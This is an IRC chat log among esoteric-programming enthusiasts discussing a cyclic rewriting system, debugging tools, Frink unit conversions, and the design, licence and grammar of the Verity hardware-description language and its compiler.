22:30:42 <oerjan> erm this is a rewriting system of sorts? and x is any string?
22:31:39 -!- pikhq has quit (Ping timeout: 240 seconds).
22:31:41 <elliott> every step, it examines the first bits according to the above pattern, and does the appropriate replacement, then starts again
22:31:52 -!- pikhq has joined.
22:32:18 <oerjan> um that makes it clearly a pushdown automaton.
22:32:31 <elliott> so e.g. 0110 -> 1010 -> 1110 -> 110 -> 01 -> 10 -> 111
22:33:21 <elliott> oerjan: even if it's cyclic?
22:33:47 <oerjan> oh so that's sent to the end?
22:34:01 -!- tzxn3 has quit (Quit: Leaving).
22:34:01 <elliott> um i'm not sure what you mean by sent to the end
22:34:16 <elliott> if the pattern-matching process reaches the end of the string, it wraps around, so to speak
22:34:19 <oerjan> elliott: you are not saying where the _rest_ of the string ends up
22:34:42 <elliott> where * is all the rest of the bits
22:35:00 <oerjan> elliott: and the pattern is always the leftmost bits? then it's a pushdown automaton.
22:35:24 <oerjan> and if it isn't, then you still have a separate ip like self-bct
22:35:55 -!- atehwa has quit (Read error: Operation timed out).
22:36:37 <elliott> ais523: hmm, is it actually possible for admins to see deleted revisions of images?
22:36:54 <ais523> not sure; it used not to be, but that mat have changed
22:38:14 <fizzie> Is it possible for admins to see deleted people?
22:38:34 <elliott> oerjan: hmm, i think what i want is impossible
22:38:52 <elliott> oerjan: the thing i didn't like about self-bct/keymaker-clue was that they had "non-local" modifications
22:39:08 <oerjan> elliott: well i was thinking if you do 0x* -> *x0 instead...
22:39:09 <elliott> keymaker-clue adds things to the "beginning of the string", away from the IP
22:39:17 <elliott> self-BCT deletes the left of the string
22:39:24 <elliott> I wanted a possibly-TC language where everything was "local" to the IP
22:39:44 <elliott> oerjan: that could work. and /arguably/ doesn't violate my local requirement...
22:39:53 <elliott> it's equivalent to deleting the first few chars and appending to the end of the program
22:39:54 <oerjan> elliott: if you consider it a cycle, then doing things both at the beginning and end is still local
22:40:03 -!- atehwa has joined.
22:40:46 <oerjan> and afair tag systems with a fixed program are like that, so _some_ set of rules for this will be tc.
22:43:46 <elliott> oerjan: what's the huh for, btw?
22:45:23 <elliott> oerjan: oh hm i think this doesn't work because the number of 0s is always <=
22:45:40 <elliott> oh but then the same applies to 1s :P
22:45:58 <elliott> in fact, it didn't apply to the original either
22:45:59 <oerjan> my huh was because most of your rules still do things only at the beginning. i wasn't thinking like that.
22:46:25 <elliott> hmm... 100 -> 001 -> 100 -> 001 -> ...
22:47:23 <oerjan> the original never increases no. of 0's
22:48:00 <elliott> this is what i meant by original
22:48:04 <elliott> ok i'll start actually versoning them
22:48:24 <elliott> 100 doesn't increase number of 0s
22:48:58 <elliott> 100 -> 001 -> 100 -> 001 -> ... again
22:50:11 <oerjan> not to mention _none_ of your suggestions increase the length of the string.
22:50:29 <elliott> oerjan: erm 10x* -> x*x1 does.
22:54:35 <elliott> oerjan: sorry, i'm an idiot.
22:55:47 <elliott> ok, let me try this again :P
22:56:08 <oerjan> it all seems a little random.
22:56:29 <elliott> i was trying to simplify it there.
22:58:15 <oerjan> um 11* -> 11*1 does increase
22:58:28 <oerjan> oh wait you said decrease
22:58:50 <oerjan> that's not _necessarily fatal, see sqeql
22:59:48 <elliott> 1101 -> [1|1]01 -> 11011 -> [1|1]011 -> 110111 -> ok this one is obvious
23:02:19 <elliott> 011 -> [0|1]1 -> 11 -> [1|1] -> 111
23:02:38 <elliott> -> [1|1]11 -> 11111 -> obvious
23:02:55 <elliott> pretty sure they all just start spamming 1s eventually
23:04:13 -!- augur has quit (Remote host closed the connection).
23:05:23 <fizzie> Not that it's terribly interesting, but it doesn't spam 1s.
23:06:30 <elliott> OK, "anything with more than a negligble amount of 1s starts spamming 1s eventually".
23:07:30 <fizzie> 101010 - 0010101 - 101010 - ... and that can have an arbitrary amount of 1s. :p
23:08:27 <elliott> You're like speech recognition software.
23:08:30 <elliott> Unforgiving and stupid. :(
23:10:55 <elliott> I think this is what they call a "burn".
23:11:31 <fizzie> 10100 - 001001 - 10010 - 000101 - 01010 - 0101 - 010 - 01 - 1 - don't know where to go from there.
23:18:32 <elliott> So 1 falls under the 1x* rule, with x=1.
23:21:15 <shachaf> If I compile a C++ program with -g, what's a simple way to match instructions to source code lines?
23:24:28 <fizzie> Ask the assembler to make a listing for you, with source lines as comments.
23:26:35 <shachaf> Oops, I wasn't compiling with -g.
23:26:52 <RocketJSquirrel> shachaf: Enjoy an hour and a half of recompiling to get that option in place.
23:27:48 <shachaf> RocketJSquirrel: This is one file.
23:28:17 <fizzie> Still! It's a minute per line!
23:28:21 -!- Phantom_Hoover has quit (Quit: Leaving).
23:28:25 <shachaf> Most of them are comments.
23:31:07 <shachaf> So why is lea 0x1(%rdx),%r8d taking 90% of the program's CPU time?
23:31:29 <shachaf> That doesn't make sense. Maybe it's the line right before.
23:31:35 <fizzie> You increment a lot, maybe.
23:34:16 <fizzie> Per-instruction timings, are, like, so *fancy*. (--Mr. just-instruments-functions-with-gprof.)
23:36:26 <shachaf> If only I had functions. :-(
23:36:33 <fizzie> ais523: Speaking of nothing at all (but web'o'flies ~~ strace), I heard resize2fs breaks down if you try to run it under strace.
23:37:02 <shachaf> I ran gdb under strace yesterday.
23:37:18 <elliott> I ran strace under gdb under strace yesterday.
23:37:23 <olsner> I gotta try debugging gdb with gdb one time
23:38:25 <shachaf> I was trying to figure out how gdb implements "call"
23:38:43 <olsner> kind of like how it does print, but without the printing part
23:39:13 <shachaf> Except that call *does* print the result.
23:39:26 <shachaf> But fine. I was trying to figure out how gdb implements "print".
23:39:51 <fizzie> There's a thing called SystemTap which is, like, the fanciest thing since sliced bread when it comes to tracing, http://sourceware.org/systemtap/tutorial/Tracing.html
23:39:56 <olsner> maybe call just has the option not to print, so that it can handle functions without return values
23:40:05 <ais523> fizzie: weird; why would an ext2 resizer break under strace?
23:40:22 <ais523> only thing I can think of is that it has timing-sensitive critical sections, or something
23:40:38 <ais523> perhaps it should be impossible to ptrace a process at realtime priority
23:41:17 <fizzie> ais523: "Reads from disk normally are never short except in the case of disk
23:41:17 <fizzie> errors. strace causes this not to be true, but I don't intend to "fix"
23:41:43 <fizzie> Writes Ted Ts'o, and closes the bug as wontfix.
23:41:59 <ais523> I don't see why strace would cause short reads
23:42:12 <elliott> fizzie: re SystemTap: Pah, it should just <description of @'s debugger>.
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23:42:42 -!- pikhq has quit (Ping timeout: 244 seconds).
23:42:46 <ais523> elliott: that won't fit into 510 characters when we run the rewrite script!
23:42:46 -!- atehwa has quit (Ping timeout: 248 seconds).
23:43:13 <ais523> (note: the @ log rewrite script necessarily has to be AI-complete, given the job we're trying to get it to do; it has to delete this line, for instance)
23:43:38 -!- atehwa has joined.
23:43:39 <oerjan> so that's how the world ends.
23:44:02 <oerjan> by the rewrite script deciding that it has to delete all of humanity
23:44:38 <elliott> ais523: it is not the rewrite script's problem if you said nonsense in 2012.
23:44:59 <ais523> elliott: doesn't it have to hide the fact it existed?
23:45:55 <fizzie> ais523: It was in the context of attaching strace to a running process; maybe that could interrupt a read?
23:48:36 <fizzie> I don't think it's read from an actual disk is something that can normally be interrupted, but maybe ptrace's special.
23:49:12 <elliott> fizzie: Your speech recognition software can read regexps?
23:52:04 <elliott> "Semi-protected for a period of 11218573000000000000000000000000000000000000000000 Planck times. After 11218573000000000000000000000000000000000000000000 Planck times the page will be automatically unprotected."
23:56:54 <oerjan> `frink 11218573000000000000000000000000000000000000000000 Planck times -> seconds
23:57:05 <HackEgo> Warning: undefined symbol "Planck". \ Warning: undefined symbol "times". \ Warning: undefined symbol "Planck". \ Warning: undefined symbol "times". \ Unconvertable expression: \ 11218573000000000000000000000000000000000000000000 Planck (undefined symbol) times (undefined symbol) -> 1 s (time)
23:58:00 <HackEgo> Warning: undefined symbol "time". \ 1 m^2 s^-1 kg (angular_momentum) time (undefined symbol)
23:58:32 <HackEgo> 1 m^2 s^-1 kg (angular_momentum)
23:59:12 <oerjan> is that an official unit?
23:59:19 -!- augur has joined.
00:01:26 <fizzie> oerjan: 7 days. (W|A.)
00:05:22 <ais523> elliott: Wikipedia used a stock timespan parser from somewhere, which has a bunch of joke features
00:05:37 <fizzie> The other day W|A threw me an interstitial-style pop-up-and-darken-the-rest-of-the-page ad about something or other, plus a "switch to W|A Pro to get rid of annoying ads" text.
00:06:34 <fizzie> Maybe "modal dialog ad" is a more apt description.
00:06:54 <fizzie> Except that sounds like an advertisement for modal dialogs.
00:07:27 <fizzie> "Get your modal dialogs here! App-modal, system-modal, we've got them all!"
00:10:30 -!- augur has quit (Remote host closed the connection).
00:17:09 <pikhq_> `frink 11218573000000000000000000000000000000000000000000 plancktime -> "seconds"
00:17:20 <HackEgo> 604819.95790859072818 seconds
00:17:45 <ais523> `frink 11218573000000000000000000000000000000000000000000 plancktime -> "weeks"
00:17:49 <ais523> what's with the quotes at the end?
00:17:55 <HackEgo> 1.0000329991874846696 weeks
00:18:06 <ais523> `frink 1 week -> "plancktime"
00:18:16 <HackEgo> 1.1218202808422283826e+49 plancktime
00:18:18 <pikhq_> ais523: Quotes tell frink to just display the unit at the end...
00:18:23 <pikhq_> `frink ` week -> plancktime
00:18:31 <ais523> `frink 1 week -> plancktime
00:18:34 <HackEgo> Unrecognized character '`' in line 1, column 0... ignoring. \ 1.1218202808422283826e+49
00:18:51 <ais523> oh, changes whether the unit's displayed
00:19:02 <pikhq_> Yeah, but that's how frink works.
00:20:00 * pikhq_ notes that US units are really mad.
00:20:09 <pikhq_> `frink 6 feet -> "survey feet"
00:20:20 <HackEgo> 1499997/250000 (exactly 5.999988) survey feet
00:20:39 <pikhq_> Yeah, that's right, multiple notions of the foot.
00:20:43 * oerjan suddenly realizes tau day is his birthday, feels conflicted
00:21:54 <pikhq_> `frink 30 miles per gallon -> rods per hogshead
00:22:05 <HackEgo> Warning: undefined symbol "per". \ Warning: undefined symbol "per". \ Warning: undefined symbol "per". \ Warning: undefined symbol "per". \ Warning: undefined symbol "per". \ 1999996/13125 (approx. 152.3806476190476)
00:22:21 <pikhq_> `frink 30 miles/gallon -> rods/hogshead
00:22:30 <HackEgo> 377999244/625 (exactly 604798.7904)
00:22:44 <HackEgo> Warning: undefined symbol "length". \ Unknown symbol "lightcenturies" \ Warning: undefined symbol "length". \ Warning: undefined symbol "lightcenturies". \ Unconvertable expression: \ 1 m^2 s^-1 kg (angular_momentum) length (undefined symbol) -> lightcenturies (undefined symbol)
00:22:53 <elliott> you're multiplying planck by length
00:24:09 <elliott> * oerjan suddenly realizes tau day is his birthday, feels conflicted
00:24:24 <HackEgo> Unknown symbol "planktimes" \ Warning: undefined symbol "planktimes". \ Unconvertable expression: \ 3.1556925974678400e+7 s (time) -> planktimes (undefined symbol)
00:25:12 <MDude> 'frink 1 year -> planktime
00:25:14 <elliott> `frink planktime = 10 years; 1 year -> "planktime"
00:25:20 <elliott> `frink planktime = 10 years; 1 year -> "planktimes"
00:25:25 <HackEgo> 0.099999999999999999999 planktime
00:25:25 <elliott> was trying to show off the automatic pluralisation
00:25:30 <HackEgo> Unknown symbol "planktimes" \ Warning: undefined symbol "planktimes". \ Unconvertable expression: \ 3.1556925974678400e+7 s (time) -> planktimes
00:25:44 <elliott> it's been a while, as they say
00:26:24 <MDude> Light must have gotten a lot slower for the plank time to be that long.
00:27:00 <HackEgo> 1/10000 (exactly 1.0e-4) s^-2 kg A^-1 (magnetic_flux_density)
00:27:00 <elliott> MDude: Have you *seen* a plank?
00:28:45 <pikhq_> I like how Frink uses base units.
00:29:30 <pikhq_> `frink 30 miles per gallon -> "m^-2"
00:29:41 <HackEgo> Warning: undefined symbol "per". \ Warning: undefined symbol "per". \ Unconvertable expression: \ 17847743385087/97656250000 (approx. 182.76089226329088) m^4 (unknown unit type) per (undefined symbol) -> m^-2
00:29:49 <pikhq_> `frink 30 miles/gallon -> "m^-2"
00:29:58 <HackEgo> 1440000000000/112903 (approx. 1.275431122290816e7) m^-2
00:30:30 <elliott> arcanesentiment has had no posts for over 6 months :(
00:31:00 <ais523> annoying VHDL feature: it doesn't allow __ in a variable name, compilers enforce this
00:31:12 -!- cswords_ has joined.
00:31:21 <ais523> what sane reason is there to ban __ inside variable names? so that it can safely be used as a separator in name mangling rather than using length prefixes?
00:31:38 <ais523> elliott: normally you ban a prefix for that
00:31:44 <ais523> not something that can be put anywhere inside the name
00:31:56 <ais523> (fwiw, my Verity compiler uses leading 0 on internal use names, as names can't normally start with a digit)
00:34:28 -!- cswords has quit (Ping timeout: 246 seconds).
00:35:15 <elliott> ais523: why do you need internal names?
00:35:35 <ais523> elliott: stuff generated by desugaring, mostly
00:35:49 <elliott> ais523: that means you're doing it wrong :(
00:35:51 <ais523> also, one of the keywords ("export") works by generating a variable behind the scenes ("00export")
00:35:55 -!- augur has joined.
00:36:03 <ais523> elliott: well, the resulting variables have to be called something in the VHDL code!
00:36:12 <elliott> gah, Tektur creates [[graph]] the day after I considered doing so
00:36:18 <pikhq_> Okay, I guess it is C. :P
00:36:18 <elliott> only my article would have made sense
00:37:34 <ais523> elliott: we try to let the user's variable names get all the way through into the generated code
00:37:43 <ais523> partly this is so that the linker works, partly it's to make things easier to debug
00:38:54 <elliott> ais523: I didn't disagree with that
00:39:14 <ais523> so this means that when extra variables are added, they need names too
00:39:57 <elliott> the problem is that you're adding extra variables
00:42:08 <ais523> this is variables in the functional programming sense
00:42:36 <ais523> so here's a problem for you: suppose you have the following code: f(x;x); f(x||x)
00:42:43 <ais523> err, I don't mean that
00:42:59 <ais523> now, the two arguments to f don't have compatible signatures
00:43:16 <ais523> err, you have it backwards; a "name" is kind-of like a pointer or a reference
00:43:25 <elliott> i'm not talking in verityspeak
00:43:38 <ais523> computer science has a whole load of widely-defined terms
00:43:42 <ais523> you can't just redefine them at random!
00:43:49 <ais523> "name" in Algol-like languages is like a reference
00:44:19 <ais523> so this needs to be desugared into f(\x1.\x2.x1;x1); f(\x1.\x2.x1||x2)
00:44:31 <ais523> (the first throws away x2)
00:45:05 <elliott> data VarName = VarName String Integer
00:45:11 <elliott> the latter is the number (1,2,etc.)
00:45:15 <ais523> elliott: now, suppose I do f(\x.x;x); f(\x.x||x); f(g)
00:45:20 <ais523> and g has the same type as \x.x;x
00:45:37 <ais523> oh wait, in that case I can change g to \j.g or whatever
00:45:56 <ais523> oh, still works, I need to invent a fresh name for the lambda that's put around g
00:46:15 <elliott> I think your real problem is that you have a desugaring step that goes from language L to language L.
00:46:15 <ais523> so I get f(\x1.\x2.x1;x1); f(\x1.\x2.x1||x2); f(\j.g)
00:46:34 <elliott> You want a step from L to L', where L' is more suited to this purpose in a way that includes not having to make up names and wrap things in lambdas.
00:46:35 <ais523> nah, it goes from one language to a slightly different one
00:46:47 <elliott> Yes, but you're not exploiting the opportunity to make them different enough.
00:47:04 <ais523> elliott: anyway, the \j.g /goes through to the final hardware/
00:47:10 <ais523> you can identify the individual wires that make up j
00:47:38 <ais523> well, they need names in the VHDL code
00:47:38 <elliott> you could represent it as a nameless graph structure or the like
00:47:54 <ais523> VHDL doesn't let you have wires that don't have names
00:47:54 <elliott> really, I would never write a source code transformation on something with explicit string variable names
00:48:00 <elliott> ais523: that's the backend's problem
00:48:08 <ais523> but I wrote the backend too!
00:48:22 <ais523> you think I should generate the arbitrary names, which are different from all existing names, in the backend rather than frontend?
00:48:30 <ais523> I don't see how that would modify the problem at all
00:48:39 <elliott> I think you should eliminate names entirely, tbh
00:49:02 <ais523> but then I wouldn't have them the same in the final VHDL program as the original user's prorgam
00:49:16 <ais523> (mangled, there's an s/_/0_0/g and a suffix to preserve case-sensitivity)
00:49:19 <elliott> well, I don't necessarily care, but you can easily fix that
00:49:32 <elliott> just have some graph nodes labelled and others not, or the like
00:50:12 <ais523> elliott: you also have to allow for the problem that such graphs aren't easily represented with ADTs
00:50:19 <ais523> and the most common way to do so is /to give the nodes arbitrary names/
00:50:23 <ais523> so you're not even gaining anything
00:50:37 <elliott> well, that's an implementation detail of the graph library
00:50:49 <elliott> admittedly, I'm more likely to use a de bruijn form than a graph
00:51:19 <ais523> I must stop asking you for advice :)
00:51:25 <ais523> how's your own Verity compiler/interp getting on?
00:51:48 <elliott> I haven't coded more than one thing in weeks
00:52:00 <ais523> ouch, that seems /really/ out of character for you
00:52:12 <elliott> oh, I don't mean I've coded that thing throughout those weeks
00:52:16 <elliott> just I've only written one thing in weeks
00:53:53 <ais523> problems with school, or something like that?
00:54:03 <elliott> no, I've just had nothing to code :(
00:54:30 <ais523> not even a Verity compiler? ;)
00:54:39 -!- derdon has quit (Remote host closed the connection).
00:54:42 <ais523> I thought you wanted to write one with a less insane license
00:54:48 <elliott> http://esolangs.org/wiki/Talk:Main_Page
00:54:51 <ais523> and you presumably wouldn't be targeting hardware, so no need for SCC transforms, etc
00:55:05 <elliott> I guess I should tell em we're planning on doing a featured languages thing even though it's not quite what e's talking about...
00:55:23 <ais523> yes; also, we've already settled on such a list, haven't we?
00:55:32 <ais523> BF, Befunge, INTERCAL, Unlambda, Underload
00:55:42 <elliott> "the most interesting possible"
00:55:50 <elliott> I'd go for befunge, unlambda, underload, ///, BCT or something
00:56:03 <elliott> BF and INTERCAL aren't really astonishingly interesting
00:56:18 <ais523> we'd really want to show off all corners of esolang design
00:56:29 <ais523> there are some missing genres there, e.g. we'd want a thematic language
00:56:31 <ais523> RocketJSquirrel: good point
00:56:34 <ais523> preferably a /good/ one
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00:56:43 <ais523> Shakespeare or Chef or Haifu or something like that
00:57:00 -!- oerjan has quit (Quit: Good night).
00:57:06 <elliott> it would be nice to have a page with "exceptional examples of esolang design" for esolang-designers-to-be
00:57:11 <elliott> perhaps it would even dissuade BF derivatives
00:58:15 <ais523> Befunge is not a language that takes well to derivatices
00:58:22 <ais523> should be an OISC there, indeed
00:58:23 <elliott> brainfuck, befunge, intercal, unlambda, underload, ///, bct, malbolge, shakespeare|chef|haifu, kipple, subleq?
00:58:41 <elliott> I suppose BCT isn't all that vital to a newcomer
00:58:50 <elliott> and it's much closer to a CA than an esolang
00:58:54 <ais523> also, there's a corner of esolangs with several examples that I don't think has a name, but it stores all its data in a queue or stack or something like that, and is reasonably imperative
00:58:58 <RocketJSquirrel> I would say BCT isn't an esolang, although it's a "language" of esointerest.
00:59:18 <elliott> fractran wasn't even designed as an esolang
00:59:30 <elliott> <ais523> also, there's a corner of esolangs with several examples that I don't think has a name, but it stores all its data in a queue or stack or something like that, and is reasonably imperative
00:59:35 <ais523> no, but there was an equivalent language that was
00:59:44 <ais523> elliott: FALSE is a little atypical of it
00:59:53 <ais523> I was thinking more along the lines of Sceql
01:00:05 <elliott> are there more examples than {Qdeql, Sceql}?
01:00:09 <ais523> (FALSE is in there, but is an outlier)
01:00:22 <ais523> I thought so, but now I'm having problems thinking of them
01:00:52 <ais523> probably half of http://esolangs.org/wiki/Category:Stack-based
01:01:23 <RocketJSquirrel> Is Piet worth consideration? It's really only interesting in its encoding, but still ..
01:01:39 <ais523> it uses an unusual source code form, but computationally it's just like that
01:01:49 <elliott> RocketJSquirrel is talking about for this hypothetical page
01:02:10 <ais523> elliott: I know, it was a timing coincidence
01:02:15 <ais523> I didn't see his comment while I was writing mine
01:03:06 <elliott> ais523: oh, that's amazing
01:03:44 <RocketJSquirrel> I will not proffer any of my own languages in seriousness X-D
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01:11:22 <ais523> hey, remember that one-dimensional MMO we were discussing ages ago?
01:11:26 <ais523> `pastlog one-dimensional MMO
01:28:15 <ais523> elliott: I can't remember many of the details either
01:28:28 <ais523> I remember that it was going to give some kind of main advantage for being online constantly
01:28:50 <ais523> some mechanic involving swapping with someone, and you could cancel a swap that someone was trying to do to you manually within 5 minutes or so
01:36:00 <Sgeo> I was looking at HPMOR on TV Tropes, and uncovering spoilers
01:36:07 <Sgeo> Uncovered a spoiler for the new chapter.
01:41:50 <pikhq_> It's not like it's that hard to read, it's only longer than the goddamned Yudkowsky sequences. :P
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01:44:50 <Sgeo> pikhq_, I have previously read HPMOR
01:44:57 <Sgeo> I don't remember much of it though.
01:56:01 <Sgeo> elliott, tswett monqy UPDATE
01:58:28 <ais523> augur: thanks for thanking me
01:58:55 <augur> ais523: for your comment on the typo on reddit
01:59:40 <ais523> that was your program? I don't have everyone here's reddit usernames memorized
01:59:47 <ais523> elliott: you're welcome
02:00:10 <ais523> come to think of it, I'm not sure if a recursive function with no recursive call is even legal in Verity
02:00:12 <augur> ais523: indeed. me = psygnisfive
02:00:51 <ais523> /tmp/t.ia: recursion in input program cannot be converted: recursive argument f not used in fix(\f.c_skip$0) [line 1 character 0 - line 1 character 11]
02:03:34 <ais523> sadly, the error message for something like "fix \f.\x.{f(f(x))}" is much worse, as the compiler can't figure out exactly where the error happens, just that it happens
02:03:52 <ais523> (I must write an article about Verity programming some day; the semantics are almost eso in some places, e.g. that line isn't obviously wrong)
02:04:07 <elliott> ais523: link to verity's site?
02:04:26 <ais523> http://www.veritygos.org/
02:04:32 <ais523> which in Firefox, at least to me, is an infinite redirect loop
02:04:53 <ais523> also Epiphany, so it's not a result of refusing cookies
02:04:55 <ais523> wow, that's impressive
02:04:57 <elliott> thanks, can you be less helpful now?
02:05:03 <elliott> you could link me to a gopher URI, say
02:05:22 <elliott> $ curl -I http://www.veritygos.org/
02:05:22 <elliott> HTTP/1.1 301 Moved Permanently
02:05:22 <elliott> Location: http://www.veritygos.org
02:05:25 <ais523> the old name, https://sites.google.com/site/thegeometryofsynthesis/ is still working
02:05:51 <elliott> ais523: have you tried to convince the lawyers to let you license it under something more reasonable any more?
02:06:08 <ais523> <ais523 to website owner> That link is currently a redirect to itself.
02:06:19 <ais523> nah, because my boss agrees with them, and he's not worth arguing with
02:06:27 <ais523> besides the license is reasonable, for what it's intended for
02:06:53 <ais523> hmm, it makes quite a statement
02:06:57 <ais523> it's like the website version of a fixed point
02:07:28 <kmc> BART has an official unofficial map: http://www.bart.gov/schedules/developers/maps.aspx
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02:08:39 <elliott> ais523: you said verity's syntax is documented; where is that?
02:08:42 <elliott> also, what license are the libraries under?
02:08:47 <ais523> in a file grammar.txt inside the documentation
02:08:51 <ais523> and permissive, it's all in the EULA
02:09:35 <elliott> I haven't read the EULA, much less agreed to it
02:09:36 <ais523> "(e) Directory Examples can be used, copied, reproduced and distributed without restriction."
02:09:46 <elliott> meh, I didn't agree to that, so I guess I can't
02:10:09 <ais523> hmm, they forgot "modified"
02:10:21 <elliott> I am sure it was intentional
02:11:14 <elliott> how many library files are there?
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02:12:23 <ais523> $ find lib -name '*.vhd' | wc -l \ 5 \ $ find lib -name '*.v' | wc -l \ 2 \ $ find include -name '*.ia' | wc -l \ 4
02:12:31 <ais523> depends on your definition
02:12:39 <ais523> we're planning to write more
02:12:51 <ais523> and maybe support .ml libraries for the interpreter
02:13:08 <ais523> thing that annoys me; OCaml's compiler is not available via the OCaml libraries
02:13:17 <ais523> it's written in OCaml, there's no reason it /shouldn't/ be
02:13:18 <elliott> my definition is "how much I have to rewrite"
02:13:26 <elliott> can I convince you to not write any more so I don't have to rewrite them?
02:13:46 <ais523> you can't convince me not to do my job :)
02:13:53 <ais523> however, I'm not sure how many more or less my job will require me to write
02:14:16 <ais523> however however, some of them are platform-specific to platforms you probably don't own, and some are very simple
02:14:44 <ais523> one thing not described in the distribution is the VHDL/Verilog API, which is important for writing libraries in languages other than Verity
02:14:52 <ais523> it is described in our papers, though
02:14:54 <elliott> hmm, there's nothing stopping a Verity implementation doing sharing, right?
02:14:59 <ais523> apart from the naming schemes
02:15:10 <ais523> "sharing" = what, in this context?
02:15:54 <ais523> yep, let f = \x.x;x in new x:=2 in f(x := !x + 1); print(x)
02:16:16 <ais523> (whitespace is irrelevant except for separating alphanumeric tokens, as you probably guessed already)
02:16:18 <elliott> anyway, what license does grammar.txt have?
02:17:01 <ais523> the license defines Documentation
02:17:06 <ais523> and then there are no license terms relating to it
02:17:25 <ais523> I believe that means that its license is all rights reserved, by default
02:17:29 <ais523> but I'm not a lawyer so don't know for certain
02:17:55 <elliott> I don't think I can implement Verity without agreeing to terms I find unacceptable, then, unless you retranscribe the grammar for me
02:18:30 <ais523> elliott: if you read the grammar off a website, would that be unacceptable?
02:18:51 <ais523> note that (despite what Oracle are claiming in court), implementing an API is not a derivative work of that API
02:19:00 <elliott> that would be fine, assuming that I don't have to agree to an EULA
02:19:23 <elliott> and I'm not worried about creating a derivative work; I just don't want to agree to the EULA, and am not convinced a court would accept my argument that I didn't when downloading my copy of gosc.tgz
02:19:31 <ais523> "By installing, downloading, and/or using the Software, You agree to the terms and conditions of this Agreement."
02:19:43 <ais523> ah, hmm, Software apparently includes Documentation
02:19:51 <elliott> that doesn't mean anything
02:19:56 <ais523> who comes up with these definitions?
02:20:18 <elliott> I don't believe that reading a grammar definition on a website can cause me to agree to an EULA
02:20:38 <ais523> ah, OK, the license terms apply to the Software as a whole, including the documentation
02:20:56 <ais523> elliott: perhaps I can persuade them to put the grammar on the website, then
02:21:12 <elliott> prediction: they'll put it behind an EULA
02:21:23 <ais523> they didn't put the quick-start guide behind a EULA
02:21:36 <elliott> meh, why can't you just explain the grammar to me on IRC? any grammar more than 500 chars isn't worth using :)
02:21:56 <ais523> (it's behind a download link, though, for reasons I don't understand; but it's a Markdown file with a .txt extension, because I passed it off to them as plain text)
02:23:25 <ais523> operator precedence is a pain to describe over IRC
02:23:36 <ais523> due to notation that would simplify describing it being used in the language itself
02:23:46 <ais523> maybe I'll just explain in operator precedence order
02:23:53 <ais523> starting at the loosest
02:24:38 <elliott> i hate operator precedence
02:25:05 <ais523> so, loosest is lambda (\a.b), scoped binding (let a = b in c, which is sugar for (\a.c)(b)), fixedpoint (fix \a.b); fixedpoint has the same semantics as fix in haskell, except it must take a literal lambda as its argument
02:25:22 <ais523> and although those are all equal, I don't think there's any possible circumstance in which it would matter anyway
02:25:36 <ais523> next is pair formation (a,b)
02:25:39 <elliott> hmm, "Adding two numbers is O(log n)" I thought arithmetic was generally taken to be O(1)
02:25:50 <tswett> The category of programming languages, where arrows are compilers. Discuss.
02:26:05 <ais523> tswett: seems pretty categorical to me
02:26:37 <ais523> after that is the creation of memory cells, "new a in b", which causes a to be a memory location throughout b (and then cease to exist again)
02:26:49 <elliott> erm, "a" is a little vague there
02:26:54 <elliott> i see foo(128) in trees.ia
02:26:54 <ais523> oh, it's an identifier
02:26:59 <elliott> foo(128) is an identifier?
02:27:11 <ais523> which is something else that we haven't added to our grammar documentation
02:27:28 <ais523> and specifically, serial array creation (an array where you can only access one element at a time)
02:27:37 <ais523> btw, whether things can happen simultaneously or not is critical to understanding Verity
02:27:43 <elliott> er, does that not apply to all arrays?
02:27:53 <ais523> that's the only sort of array we've implemented so far
02:28:05 <elliott> I'm not convinced I need to care about the simultaneous thing for an implementation on standard computers
02:28:09 <ais523> we're planning parallel arrays too, with syntax probably a[128], which would be sugar for defining 128 different variables
02:28:18 <ais523> no, unless you plan to reject incorrect programs
02:28:32 <ais523> the interpreter works by passing the code through the compiler's type-checker, then throwing away the output ;)
02:28:50 <ais523> (except for inferring things like bitwidths)
02:29:19 <elliott> rejecting incorrect programs would be nice
02:29:38 <ais523> OK, after that, is a || b, which is parallel composition; a and b must be allowed to be executed simultaneously, obviously
02:29:51 <ais523> then a;b, sequential composition (i.e. "do a then b")
02:30:00 <ais523> both || and ; take two commands as arguments and return a command
02:30:12 <ais523> (and a command is a 0-bit integer with possible side effects)
02:30:30 <ais523> then come the control structures: "while a do b" and "if a then b else c"
02:30:52 <elliott> this language is too big :(
02:30:57 <ais523> the first argument is a 1-bit integer; while takes a command as its loop body, if allows any base type in the then and else fields
02:30:58 <elliott> why can't while/if be just primitives?
02:31:03 <ais523> well, it's meant to be practical
02:31:10 <ais523> and they are, but there's syntax for them
02:31:15 <ais523> to stop people having to write whiledo(a)(b)
02:31:22 <elliott> that just means your function call syntax is ugly
02:32:07 <ais523> it actually gets desugared into an ffi call internally, (c_while:(exp$1*com)->com) a b
02:32:19 <ais523> and the actual implementation of while is done by the FFI
02:32:30 <ais523> then is assignment, a := b
02:32:30 <elliott> what is this foo$7 stuff i see in trees.ia?
02:32:42 <ais523> that's really really tightly binding
02:32:56 <ais523> and part of the identifier syntax, at that
02:33:17 <elliott> yeah, never mind, just keep going
02:33:52 <ais523> after that comes arithmetic primitives, | ^ (left-associative), &, == (non-associative), < > (non-associative), << >> +>> (left-associative), + - (left-associative), *
02:33:57 <elliott> RIP Encyclopædia Britannica, you will not be missed
02:34:08 <ais523> all have the same meaning as in C, except that >> is unsigned rightshift and +>> is signed rightshift
02:34:34 <ais523> (i.e. >> fills the left-over bit with 0, +>> fills it with the sign bit of the original number, like >>> and >> in Java)
02:34:53 <elliott> RocketJSquirrel: And Glass?
02:34:54 <ais523> there's also a +< and +> for signed comparisons, which aren't in this grammar file for some reason; < and > are unsigned
02:35:10 <ais523> after that is ~, unary bit-complement (the same as in C)
02:35:13 <elliott> ais523: you know, Haskell solved this operator syntax problem excellently.
02:35:15 <ais523> after that is !, variable dereference
02:36:01 <elliott> monqy: better than ais523 solved it
02:36:12 <monqy> what is this verity thing
02:36:18 <ais523> then is function call, "a(b)" (can also be written as "a b" if b is sufficiently simple; IIRC it must be a constant or identifier, possibly with a cast)
02:36:54 <ais523> then tightest of all is bitwidth conversion, a$$n where n is a literal integer, which discards high bits or zero-extends
02:37:02 <ais523> (and likewise, a+$$n discards high bits or sign-extends)
02:37:09 <elliott> i am really not looking forward to implementing this parser
02:37:12 <ais523> you can also put various type assertions on things
02:37:36 <ais523> examples would be :com, :exp$5, :(com -> com)
02:37:49 <ais523> single-dollar is a bitwidth assertion, which can be used on types or numerical constants
02:37:54 <ais523> so 0$8 means an eight-bit zero
02:38:00 <ais523> and exp$5 a five-bit integer
02:38:04 <ais523> exp$0 is equivalent to com
02:38:23 <ais523> and 0$0 can also be written as "skip"
